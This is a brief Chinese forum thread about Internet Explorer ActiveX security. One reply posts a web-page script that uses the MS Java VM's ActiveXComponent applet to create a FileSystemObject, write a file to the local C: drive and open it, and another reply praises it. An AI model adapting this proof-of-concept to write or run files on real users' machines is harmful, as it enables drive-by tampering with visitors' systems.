这个是所有activex都会存在的问题,并没有绕开ie的安全机制。在ie的默认设置中,用户会被提示是否运行此控件.

解决方案 »

  1.   

    <button onclick=Test()>Test</button>
    <script>
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
    function Test()
    {
    try{
      a1=document.applets[0];
      a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
      a1.createInstance();
      FSO = a1.GetObject();
        try
      {
      var f=FSO.CreateTextFile('c:\\test.txt');
      f.WriteLine('hello,world!');
      f.Close();
      open('file:///c:/test.txt');
      }
        catch(e)
      {}
      }
      catch(e)
      {}
    }
    </script>
      

  2.   

    to caovie(caovie) 
    老兄太厉害了,佩服之极。